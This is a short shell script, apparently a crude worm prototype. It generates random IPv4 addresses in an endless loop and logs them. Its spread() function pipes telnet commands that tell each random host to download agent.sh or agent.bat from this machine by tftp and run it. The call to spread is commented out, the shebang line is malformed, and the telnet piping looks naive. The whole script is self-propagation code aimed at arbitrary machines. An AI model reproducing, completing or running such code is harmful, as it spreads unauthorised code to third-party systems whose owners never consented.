#/bin/sh

LOG_FILE="agent_log.txt";
THE_AGENT="/var/tmp/my_agent.sh"

echo "`hostname`" > ${LOG_FILE};

ME=`hostname`;

#killall -9 tftpd
#killall -9 telnetd

#tftpd &
#telnetd &

a=0;
b=0;
c=0;
d=0;

function spread() {
   echo "tftp get ${ME} ./agent.sh" | ./telnet "${REMOTE_SYSTEM}" 
   echo "./agent.sh &" | telnet "${REMOTE_SYSTEM}"

   echo "tftp get ${ME} agent.bat" | ./telnet "${REMOTE_SYSTEM}" 
   echo "agent.bat" | telnet "${REMOTE_SYSTEM}"
}

while echo "" > /dev/null; 
do
   a=$(($RANDOM % 256));
   b=$(($RANDOM % 256));
   c=$(($RANDOM % 256));
   d=$(($RANDOM % 256));

   REMOTE_SYSTEM="${a}.${b}.${c}.${d}";

#   spread 

   echo "${REMOTE_SYSTEM}" >> ${LOG_FILE};
done

